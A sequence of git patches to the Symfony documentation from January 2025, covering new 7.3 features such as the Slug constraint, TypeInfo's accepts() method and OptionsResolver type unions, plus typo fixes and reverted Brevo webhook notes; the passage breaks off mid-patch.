 
 .. code-block:: env
 

From 357a3e95c51192beb465e899114a1c161a12df22 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 7 Jan 2025 08:56:55 +0100
Subject: [PATCH 6619/7107] [HttpFoundation] Mention issues with generated URL
 hashes

---
 routing.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/routing.rst b/routing.rst
index 47fcfe8cb8f..a41b9bba6a6 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2805,6 +2805,12 @@ service, which you can inject in your services or controllers::
     ``Symfony\Component\HttpKernel\UriSigner`` to
     ``Symfony\Component\HttpFoundation\UriSigner``.
 
+.. note::
+
+    The generated URI hashes may include the ``/`` and ``+`` characters, which
+    can cause issues with certain clients. If you encounter this problem, replace
+    them using the following: ``strtr($hash, ['/' => '_', '+' => '-'])``.
+
 Troubleshooting
 ---------------
 

From d1400d406951f664bd159e38eab33c5a93cb73e9 Mon Sep 17 00:00:00 2001
From: Iker Ibarguren <ikerib@users.noreply.github.com>
Date: Tue, 7 Jan 2025 09:51:40 +0100
Subject: [PATCH 6620/7107] Update notifier.rst

Brevo third-party service now supports webhooks.
---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 36fbd5ada89..5b3f12a67fa 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -76,7 +76,7 @@ Service
                     **Webhook support**: No
 `Brevo`_            **Install**: ``composer require symfony/brevo-notifier`` \
                     **DSN**: ``brevo://API_KEY@default?sender=SENDER`` \
-                    **Webhook support**: No
+                    **Webhook support**: Yes
 `Clickatell`_       **Install**: ``composer require symfony/clickatell-notifier`` \
                     **DSN**: ``clickatell://ACCESS_TOKEN@default?from=FROM`` \
                     **Webhook support**: No

From e4f8ff86daa93eab17172a0fd001caccd5c93e55 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 7 Jan 2025 12:04:07 +0100
Subject: [PATCH 6621/7107] Add a versionadded directive

---
 notifier.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 5b3f12a67fa..090f4db2007 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -236,6 +236,10 @@ Service
 
     The ``Primotexto``, ``Sipgate`` and ``Sweego`` integrations were introduced in Symfony 7.2.
 
+.. versionadded:: 7.3
+
+    Webhook support for the ``Brevo`` integration was introduced in Symfony 7.3.
+
 .. deprecated:: 7.1
 
     The `Sms77`_ integration is deprecated since

From 17a46adc143905ee469e48118039c7e8f66760b5 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sun, 5 Jan 2025 17:34:40 +0100
Subject: [PATCH 6622/7107] [Validator] [DateTime] Add ``format`` to error
 messages

---
 reference/constraints/DateTime.rst | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/reference/constraints/DateTime.rst b/reference/constraints/DateTime.rst
index f6bcce7e5f5..ffcfbf55dda 100644
--- a/reference/constraints/DateTime.rst
+++ b/reference/constraints/DateTime.rst
@@ -99,11 +99,16 @@ This message is shown if the underlying data is not a valid datetime.
 
 You can use the following parameters in this message:
 
-===============  ==============================================================
-Parameter        Description
-===============  ==============================================================
-``{{ value }}``  The current (invalid) value
-``{{ label }}``  Corresponding form field label
-===============  ==============================================================
+================  ==============================================================
+Parameter         Description
+================  ==============================================================
+``{{ value }}``   The current (invalid) value
+``{{ label }}``   Corresponding form field label
+``{{ format }}``  The date format defined in ``format``
+================  ==============================================================
+
+.. versionadded:: 7.3
+
+    The ``{{ format }}`` parameter was introduced in Symfony 7.3.
 
 .. include:: /reference/constraints/_payload-option.rst.inc

From 45113124f7b2affdcceae4460f218b4efc740839 Mon Sep 17 00:00:00 2001
From: tcoch <tcochard@outlook.com>
Date: Mon, 6 Jan 2025 09:22:34 +0100
Subject: [PATCH 6623/7107] [String] Add `AbstractString::pascal()` method

---
 string.rst | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/string.rst b/string.rst
index 43d3a236ab6..e51e7d1b502 100644
--- a/string.rst
+++ b/string.rst
@@ -234,8 +234,10 @@ Methods to Change Case
     u('Foo: Bar-baz.')->snake(); // 'foo_bar_baz'
     // changes all graphemes/code points to kebab-case
     u('Foo: Bar-baz.')->kebab(); // 'foo-bar-baz'
-    // other cases can be achieved by chaining methods. E.g. PascalCase:
-    u('Foo: Bar-baz.')->camel()->title(); // 'FooBarBaz'
+    // changes all graphemes/code points to PascalCase
+    u('Foo: Bar-baz.')->pascal(); // 'FooBarBaz'
+    // other cases can be achieved by chaining methods, e.g. :
+    u('Foo: Bar-baz.')->camel()->upper(); // 'FOOBARBAZ'
 
 .. versionadded:: 7.1
 
@@ -246,6 +248,10 @@ Methods to Change Case
 
     The ``kebab()`` method was introduced in Symfony 7.2.
 
+.. versionadded:: 7.3
+
+    The ``pascal()`` method was introduced in Symfony 7.3.
+
 The methods of all string classes are case-sensitive by default. You can perform
 case-insensitive operations with the ``ignoreCase()`` method::
 

From 951f461e329cb0c8f275ca9100b2a5789844afec Mon Sep 17 00:00:00 2001
From: Mathias Arlaud <mathias.arlaud@gmail.com>
Date: Tue, 7 Jan 2025 16:08:07 +0100
Subject: [PATCH 6624/7107] [TypeInfo] Add `accepts` method

---
 components/type_info.rst | 19 ++++++++++++++++++-
 1 file changed, 18 insertions(+), 1 deletion(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index e7062c5f249..70280d9a348 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -114,7 +114,7 @@ Advanced Usages
 The TypeInfo component provides various methods to manipulate and check types,
 depending on your needs.
 
-Checking a **simple type**::
+**Identify** a type::
 
     // define a simple integer type
     $type = Type::int();
@@ -141,6 +141,23 @@ Checking a **simple type**::
     $type->isIdentifiedBy(DummyParent::class);     // true
     $type->isIdentifiedBy(DummyInterface::class);  // true
 
+Checking if a type **accepts a value**::
+
+    $type = Type::int();
+    // check if the type accepts a given value
+    $type->accepts(123); // true
+    $type->accepts('z'); // false
+
+    $type = Type::union(Type::string(), Type::int());
+    // now the second check is true because the union type accepts either a int and a string value
+    $type->accepts(123); // true
+    $type->accepts('z'); // true
+
+.. versionadded:: 7.3
+
+    The :method:`Symfony\\Component\\TypeInfo\\Type::accepts`
+    method was introduced in Symfony 7.3.
+
 Using callables for **complex checks**::
 
     class Foo

From b4f8f6bf5f596664eb36c6311107b0b0056fd166 Mon Sep 17 00:00:00 2001
From: tcoch <tcochard@outlook.com>
Date: Mon, 6 Jan 2025 17:22:10 +0100
Subject: [PATCH 6625/7107] [Validator] Add Slug constraint

---
 reference/constraints/Slug.rst    | 119 ++++++++++++++++++++++++++++++
 reference/constraints/map.rst.inc |   1 +
 2 files changed, 120 insertions(+)
 create mode 100644 reference/constraints/Slug.rst

diff --git a/reference/constraints/Slug.rst b/reference/constraints/Slug.rst
new file mode 100644
index 00000000000..5b7661b4aba
--- /dev/null
+++ b/reference/constraints/Slug.rst
@@ -0,0 +1,119 @@
+Slug
+====
+
+.. versionadded:: 7.3
+
+    The ``Slug`` constraint was introduced in Symfony 7.3.
+
+Validates that a value is a slug.
+A slug is a string that, by default, matches the regex ``/^[a-z0-9]+(?:-[a-z0-9]+)*$/``.
+
+.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Slug`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\SlugValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+The ``Slug`` constraint can be applied to a property or a "getter" method:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Slug]
+            protected string $slug;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\Author:
+            properties:
+                slug:
+                    - Slug: ~
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\Author">
+                <property name="slug">
+                    <constraint name="Slug"/>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Author
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
+            {
+                $metadata->addPropertyConstraint('slug', new Assert\Slug());
+            }
+        }
+
+Examples of valid values :
+
+* foobar
+* foo-bar
+* foo123
+* foo-123bar
+
+Upper case characters would result in an violation of this constraint.
+
+Options
+-------
+
+``regex``
+~~~~~~~~~
+
+**type**: ``string`` default: ``/^[a-z0-9]+(?:-[a-z0-9]+)*$/``
+
+This option allows you to modify the regular expression pattern that the input will be matched against
+via the :phpfunction:`preg_match` PHP function.
+
+If you need to use it, you might also want to take a look at the :doc:`Regex constraint <Regex>`.
+
+``message``
+~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``This value is not a valid slug``
+
+This is the message that will be shown if this validator fails.
+
+You can use the following parameters in this message:
+
+=================  ==============================================================
+Parameter          Description
+=================  ==============================================================
+``{{ value }}``    The current (invalid) value
+=================  ==============================================================
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+.. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index f23f5b71aa3..58801a8c653 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -33,6 +33,7 @@ String Constraints
 * :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
 * :doc:`PasswordStrength </reference/constraints/PasswordStrength>`
 * :doc:`Regex </reference/constraints/Regex>`
+* :doc:`Slug </reference/constraints/Slug>`
 * :doc:`Ulid </reference/constraints/Ulid>`
 * :doc:`Url </reference/constraints/Url>`
 * :doc:`UserPassword </reference/constraints/UserPassword>`

From d688f6312c64050123f0c27b0871f80ab63b677c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 7 Jan 2025 17:56:09 +0100
Subject: [PATCH 6626/7107] Minor tweaks

---
 reference/constraints/Slug.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/reference/constraints/Slug.rst b/reference/constraints/Slug.rst
index 5b7661b4aba..2eb82cd9c10 100644
--- a/reference/constraints/Slug.rst
+++ b/reference/constraints/Slug.rst
@@ -5,8 +5,8 @@ Slug
 
     The ``Slug`` constraint was introduced in Symfony 7.3.
 
-Validates that a value is a slug.
-A slug is a string that, by default, matches the regex ``/^[a-z0-9]+(?:-[a-z0-9]+)*$/``.
+Validates that a value is a slug. By default, a slug is a string that matches
+the following regular expression: ``/^[a-z0-9]+(?:-[a-z0-9]+)*$/``.
 
 .. include:: /reference/constraints/_empty-values-are-valid.rst.inc
 
@@ -19,7 +19,7 @@ Validator   :class:`Symfony\\Component\\Validator\\Constraints\\SlugValidator`
 Basic Usage
 -----------
 
-The ``Slug`` constraint can be applied to a property or a "getter" method:
+The ``Slug`` constraint can be applied to a property or a getter method:
 
 .. configuration-block::
 
@@ -77,14 +77,14 @@ The ``Slug`` constraint can be applied to a property or a "getter" method:
             }
         }
 
-Examples of valid values :
+Examples of valid values:
 
 * foobar
 * foo-bar
 * foo123
 * foo-123bar
 
-Upper case characters would result in an violation of this constraint.
+Uppercase characters would result in an violation of this constraint.
 
 Options
 -------
@@ -94,8 +94,8 @@ Options
 
 **type**: ``string`` default: ``/^[a-z0-9]+(?:-[a-z0-9]+)*$/``
 
-This option allows you to modify the regular expression pattern that the input will be matched against
-via the :phpfunction:`preg_match` PHP function.
+This option allows you to modify the regular expression pattern that the input
+will be matched against via the :phpfunction:`preg_match` PHP function.
 
 If you need to use it, you might also want to take a look at the :doc:`Regex constraint <Regex>`.
 

From 693b758160d580d9e5bbdb6e0e8b4310baf2d5f9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Wed, 8 Jan 2025 06:29:55 +0100
Subject: [PATCH 6627/7107] [Security] Remove mention of is_granted_ `$field`
 argument

The third argument of is_granted / is_granted_for_user is undocumented (except on this page) (neither on Symfony docs, code, nor on... Symfony ACL Bundle docs).

It must be kept and maintained for BC reasons. But it can be missleading/frustrating to show this argument to users, when they cannot use it with a standard/recommended Symfony installation.

And if they just test it, the error could lead them to believe the AclBundle needs to be installed to use the `is_granted` function(s).

As suggested in https://github.com/symfony/symfony/pull/59282#issuecomment-2569716817 I believe "not showing it" is the "best" solution here.
---
 reference/twig_reference.rst | 8 ++------
 1 file changed, 2 insertions(+), 6 deletions(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index e01fa3f80e3..acbab2f3817 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -160,14 +160,12 @@ is_granted
 
 .. code-block:: twig
 
-    {{ is_granted(role, object = null, field = null) }}
+    {{ is_granted(role, object = null) }}
 
 ``role``
     **type**: ``string``
 ``object`` *(optional)*
     **type**: ``object``
-``field`` *(optional)*
-    **type**: ``string``
 
 Returns ``true`` if the current user has the given role.
 
@@ -183,7 +181,7 @@ is_granted_for_user
 
 .. code-block:: twig
 
-    {{ is_granted_for_user(user, attribute, subject = null, field = null) }}
+    {{ is_granted_for_user(user, attribute, subject = null) }}
 
 ``user``
     **type**: ``object``
@@ -191,8 +189,6 @@ is_granted_for_user
     **type**: ``string``
 ``subject`` *(optional)*
     **type**: ``object``
-``field`` *(optional)*
-    **type**: ``string``
 
 Returns ``true`` if the user is authorized for the specified attribute.
 

From 5e338ab13a5dc60f5256d904a38f959567716863 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 8 Jan 2025 08:35:59 +0100
Subject: [PATCH 6628/7107] remove outdated timezone warning

---
 messenger.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 9d5ab5d35c8..d1f215f16a3 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1583,12 +1583,6 @@ DSN by using the ``table_name`` option:
 Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
 :ref:`generate a migration <doctrine-creating-the-database-tables-schema>`.
 
-.. warning::
-
-    The datetime property of the messages stored in the database uses the
-    timezone of the current system. This may cause issues if multiple machines
-    with different timezone configuration use the same storage.
-
 The transport has a number of options:
 
 ``table_name`` (default: ``messenger_messages``)

From 23800a97fa5114849320dac166b80ff97b3d2d46 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 8 Jan 2025 10:18:55 +0100
Subject: [PATCH 6629/7107] Minor tweak

---
 components/type_info.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index 70280d9a348..47fe9dfd9ba 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -149,7 +149,7 @@ Checking if a type **accepts a value**::
     $type->accepts('z'); // false
 
     $type = Type::union(Type::string(), Type::int());
-    // now the second check is true because the union type accepts either a int and a string value
+    // now the second check is true because the union type accepts either an int or a string value
     $type->accepts(123); // true
     $type->accepts('z'); // true
 

From cf53d1914e874def9e39324e6c5ad32e0b441f23 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Joachim=20L=C3=B8vgaard?= <joachim@loevgaard.dk>
Date: Wed, 8 Jan 2025 12:06:09 +0100
Subject: [PATCH 6630/7107] Fix typo

---
 components/type_info.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index e7062c5f249..2a92a3db63e 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -106,7 +106,7 @@ PHP package required for string resolving. Then, follow these steps::
 
     $typeResolver = TypeResolver::create();
     $typeResolver->resolve(new \ReflectionProperty(Dummy::class, 'id')); // returns an "int" Type
-    $typeResolver->resolve(new \ReflectionProperty(Dummy::class, 'id')); // returns a collection with "int" as key and "string" as values Type
+    $typeResolver->resolve(new \ReflectionProperty(Dummy::class, 'tags')); // returns a collection with "int" as key and "string" as values Type
 
 Advanced Usages
 ~~~~~~~~~~~~~~~

From 6e71ed0d5ca3f3f48fbd750979be3b59e8194da9 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 8 Jan 2025 14:50:30 +0100
Subject: [PATCH 6631/7107] wrap multiple constraints in a Collection
 constraint to validate array-like data

---
 form/without_class.rst | 17 ++++++++---------
 1 file changed, 8 insertions(+), 9 deletions(-)

diff --git a/form/without_class.rst b/form/without_class.rst
index 436976bdfcc..8b0af7cf23f 100644
--- a/form/without_class.rst
+++ b/form/without_class.rst
@@ -137,6 +137,7 @@ This can be done by setting the ``constraints`` option in the
     use Symfony\Component\Form\Extension\Core\Type\TextType;
     use Symfony\Component\Form\FormBuilderInterface;
     use Symfony\Component\OptionsResolver\OptionsResolver;
+    use Symfony\Component\Validator\Constraints\Collection;
     use Symfony\Component\Validator\Constraints\Length;
     use Symfony\Component\Validator\Constraints\NotBlank;
 
@@ -149,17 +150,15 @@ This can be done by setting the ``constraints`` option in the
 
     public function configureOptions(OptionsResolver $resolver): void
     {
-        $constraints = [
-            'firstName' => new Length(['min' => 3]),
-            'lastName' => [
-                new NotBlank(),
-                new Length(['min' => 3]),
-            ],
-        ];
-
         $resolver->setDefaults([
             'data_class' => null,
-            'constraints' => $constraints,
+            'constraints' => new Collection([
+                'firstName' => new Length(['min' => 3]),
+                'lastName' => [
+                    new NotBlank(),
+                    new Length(['min' => 3]),
+                ],
+            ]),
         ]);
     }
 

From ed80f8b78a6714ed0c092e7cf90eb98afecf75be Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 8 Jan 2025 22:05:23 +0100
Subject: [PATCH 6632/7107] revert webhook support for the Brevo Notifier
 bridge

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 090f4db2007..f74ff92009e 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -76,7 +76,7 @@ Service
                     **Webhook support**: No
 `Brevo`_            **Install**: ``composer require symfony/brevo-notifier`` \
                     **DSN**: ``brevo://API_KEY@default?sender=SENDER`` \
-                    **Webhook support**: Yes
+                    **Webhook support**: No
 `Clickatell`_       **Install**: ``composer require symfony/clickatell-notifier`` \
                     **DSN**: ``clickatell://ACCESS_TOKEN@default?from=FROM`` \
                     **Webhook support**: No

From fb028aa7e77e8a2324b3b65e4e9823045d26ef73 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 9 Jan 2025 12:24:39 +0100
Subject: [PATCH 6633/7107] Remove an uneeded versionadded directive

---
 notifier.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index f74ff92009e..36fbd5ada89 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -236,10 +236,6 @@ Service
 
     The ``Primotexto``, ``Sipgate`` and ``Sweego`` integrations were introduced in Symfony 7.2.
 
-.. versionadded:: 7.3
-
-    Webhook support for the ``Brevo`` integration was introduced in Symfony 7.3.
-
 .. deprecated:: 7.1
 
     The `Sms77`_ integration is deprecated since

From bb76fd9fee26080dfa8795528f472aed5d8fcf64 Mon Sep 17 00:00:00 2001
From: Ninos Ego <me@ninosego.de>
Date: Wed, 8 Jan 2025 23:52:31 +0100
Subject: [PATCH 6634/7107] [Validator] Add note to `version` option in `Cidr`
 constraint

---
 reference/constraints/Cidr.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst
index 24abeb57338..00125c72b39 100644
--- a/reference/constraints/Cidr.rst
+++ b/reference/constraints/Cidr.rst
@@ -126,6 +126,12 @@ Parameter        Description
 This determines exactly *how* the CIDR notation is validated and can take one
 of :ref:`IP version ranges <reference-constraint-ip-version>`.
 
+.. note::
+
+    IP range (``*_private``, ``*_reserved``) is only validating against IP, but not the whole
+    netmask. You need to set the ``{{ min }}`` value for the netmask to harden the validation a bit.
+    For example, ``9.0.0.0/6`` results to be ``*_public``, but also uses ``10.0.0.0/8`` range (``*_private``).
+
 .. versionadded:: 7.1
 
     The support of all IP version ranges was introduced in Symfony 7.1.

From 57739755111fed2beca51857df73a7f59459fb81 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 9 Jan 2025 13:02:08 +0100
Subject: [PATCH 6635/7107] Minor reword

---
 reference/constraints/Cidr.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst
index 61233d875ce..78a5b6c7167 100644
--- a/reference/constraints/Cidr.rst
+++ b/reference/constraints/Cidr.rst
@@ -128,9 +128,11 @@ of :ref:`IP version ranges <reference-constraint-ip-version>`.
 
 .. note::
 
-    IP range (``*_private``, ``*_reserved``) is only validating against IP, but not the whole
-    netmask. You need to set the ``{{ min }}`` value for the netmask to harden the validation a bit.
-    For example, ``9.0.0.0/6`` results to be ``*_public``, but also uses ``10.0.0.0/8`` range (``*_private``).
+    The IP range checks (e.g., ``*_private``, ``*_reserved``) validate only the
+    IP address, not the entire netmask. To improve validation, you can set the
+    ``{{ min }}`` value for the netmask. For example, the range ``9.0.0.0/6`` is
+    considered ``*_public``, but it also includes the ``10.0.0.0/8`` range, which
+    is categorized as ``*_private``.
 
 .. versionadded:: 7.1
 

From f8667f57029ad20b615c6c7f42d13bc02df86fa5 Mon Sep 17 00:00:00 2001
From: Vincent Langlet <vincentlanglet@hotmail.fr>
Date: Mon, 6 Jan 2025 21:16:06 +0100
Subject: [PATCH 6636/7107] [OptionsResolver] Support union of types

---
 components/options_resolver.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index ff25f9e0fc4..266911bf13d 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -305,13 +305,20 @@ correctly. To validate the types of the options, call
 
             // specify multiple allowed types
             $resolver->setAllowedTypes('port', ['null', 'int']);
+            // which is similar to
+            $resolver->setAllowedTypes('port', 'int|null');
 
             // check all items in an array recursively for a type
             $resolver->setAllowedTypes('dates', 'DateTime[]');
             $resolver->setAllowedTypes('ports', 'int[]');
+            $resolver->setAllowedTypes('endpoints', '(int|string)[]');
         }
     }
 
+.. versionadded:: 7.3
+
+    Union of type, using the ``|`` syntax, was introduced in Symfony 7.3.
+
 You can pass any type for which an ``is_<type>()`` function is defined in PHP.
 You may also pass fully qualified class or interface names (which is checked
 using ``instanceof``). Additionally, you can validate all items in an array

From ca50eeb570eb13b2c35b7fa02f199bfc509755d8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 9 Jan 2025 15:29:40 +0100
Subject: [PATCH 6637/7107] Minor tweaks

---
 components/options_resolver.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 266911bf13d..95741a7e372 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -305,19 +305,20 @@ correctly. To validate the types of the options, call
 
             // specify multiple allowed types
             $resolver->setAllowedTypes('port', ['null', 'int']);
-            // which is similar to
+            // if you prefer, you can also use the following equivalent syntax
             $resolver->setAllowedTypes('port', 'int|null');
 
             // check all items in an array recursively for a type
             $resolver->setAllowedTypes('dates', 'DateTime[]');
             $resolver->setAllowedTypes('ports', 'int[]');
+            // the following syntax means "an array of integers or an array of strings"
             $resolver->setAllowedTypes('endpoints', '(int|string)[]');
         }
     }
 
 .. versionadded:: 7.3
 
-    Union of type, using the ``|`` syntax, was introduced in Symfony 7.3.
+    Defining type unions with the ``|`` syntax was introduced in Symfony 7.3.
 
 You can pass any type for which an ``is_<type>()`` function is defined in PHP.
 You may also pass fully qualified class or interface names (which is checked

From cf778c0d7991170dc4dec1392c3ad290de7e3cf7 Mon Sep 17 00:00:00 2001
From: Florian CAVASIN <cavasinf.info@gmail.com>
Date: Thu, 9 Jan 2025 15:54:44 +0100
Subject: [PATCH 6638/7107] Update custom_constraint.rst

---
 validation/custom_constraint.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index c2b4eff130a..8fcb0c5c10e 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -499,7 +499,7 @@ A class constraint validator must be applied to the class itself:
 
         use App\Validator as AcmeAssert;
 
-        #[AcmeAssert\ProtocolClass]
+        #[AcmeAssert\ConfirmedPaymentReceipt]
         class AcmeEntity
         {
             // ...

From 56c035a3c3f85299d29b56a96a52d502c2268187 Mon Sep 17 00:00:00 2001
From: Marko Kaznovac <kaznovac@users.noreply.github.com>
Date: Thu, 9 Jan 2025 22:04:34 +0100
Subject: [PATCH 6639/7107] serializer[custom_normalizer]: fix reference to
 built-in normalizers

---
 serializer/custom_normalizer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 276c618b8ac..d6ba66f89b6 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -3,7 +3,7 @@ How to Create your Custom Normalizer
 
 The :doc:`Serializer component </serializer>` uses normalizers to transform
 any data into an array. The component provides several
-ref:`built-in normalizers <serializer-built-in-normalizers>` but you may
+:ref:`built-in normalizers <serializer-built-in-normalizers>` but you may
 need to create your own normalizer to transform an unsupported data
 structure.
 

From c532aed720a486a85ba26209cf7ad4185db5c0ec Mon Sep 17 00:00:00 2001
From: chx <chx1975@gmail.com>
Date: Mon, 6 Jan 2025 14:36:23 +0100
Subject: [PATCH 6640/7107] [DependencyInjection] Documented the new @>
 shorthand

---
 service_container/service_closures.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst
index cedbaaa2bf9..73dc17961fd 100644
--- a/service_container/service_closures.rst
+++ b/service_container/service_closures.rst
@@ -52,6 +52,14 @@ argument of type ``service_closure``:
                 # In case the dependency is optional
                 # arguments: [!service_closure '@?mailer']
 
+.. versionadded:: 7.3
+
+                # A shorthand is available
+                # arguments: ['@>mailer']
+
+                # It also works when the dependency is optional
+                # arguments: ['@>?mailer']
+
     .. code-block:: xml
 
         <!-- config/services.xml -->

From 250c35b812814ed105d1790213b9938a2e244666 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 10 Jan 2025 16:08:17 +0100
Subject: [PATCH 6641/7107] Reword

---
 service_container/service_closures.rst | 13 ++++++++-----
 1 file changed, 8 insertions(+), 5 deletions(-)

diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst
index 73dc17961fd..88b0ab64002 100644
--- a/service_container/service_closures.rst
+++ b/service_container/service_closures.rst
@@ -52,12 +52,11 @@ argument of type ``service_closure``:
                 # In case the dependency is optional
                 # arguments: [!service_closure '@?mailer']
 
-.. versionadded:: 7.3
-
-                # A shorthand is available
-                # arguments: ['@>mailer']
+            # you can also use the special '@>' syntax as a shortcut of '!service_closure'
+            App\Service\AnotherService:
+                arguments: ['@>mailer']
 
-                # It also works when the dependency is optional
+                # the shortcut also works for optional dependencies
                 # arguments: ['@>?mailer']
 
     .. code-block:: xml
@@ -98,6 +97,10 @@ argument of type ``service_closure``:
             //     ->args([service_closure('mailer')->ignoreOnInvalid()]);
         };
 
+.. versionadded:: 7.3
+
+    The ``@>`` shortcut syntax for YAML was introduced in Symfony 7.3.
+
 .. seealso::
 
     Service closures can be injected :ref:`by using autowiring <autowiring_closures>`

From 1960c77521d526199cc28a07d189d8e4ac2353a0 Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Sat, 11 Jan 2025 03:10:57 -0300
Subject: [PATCH 6642/7107] [Doctrine] Use PDO constants in YAML configuration
 example

---
 reference/configuration/doctrine.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index cd1852710e7..272ad6b6804 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -483,12 +483,12 @@ set up the connection using environment variables for the certificate paths:
                 server_version: '8.0.31'
                 driver: 'pdo_mysql'
                 options:
-                    # SSL private key (PDO::MYSQL_ATTR_SSL_KEY)
-                    1007: '%env(MYSQL_SSL_KEY)%'
-                    # SSL certificate (PDO::MYSQL_ATTR_SSL_CERT)
-                    1008: '%env(MYSQL_SSL_CERT)%'
-                    # SSL CA authority (PDO::MYSQL_ATTR_SSL_CA)
-                    1009: '%env(MYSQL_SSL_CA)%'
+                    # SSL private key
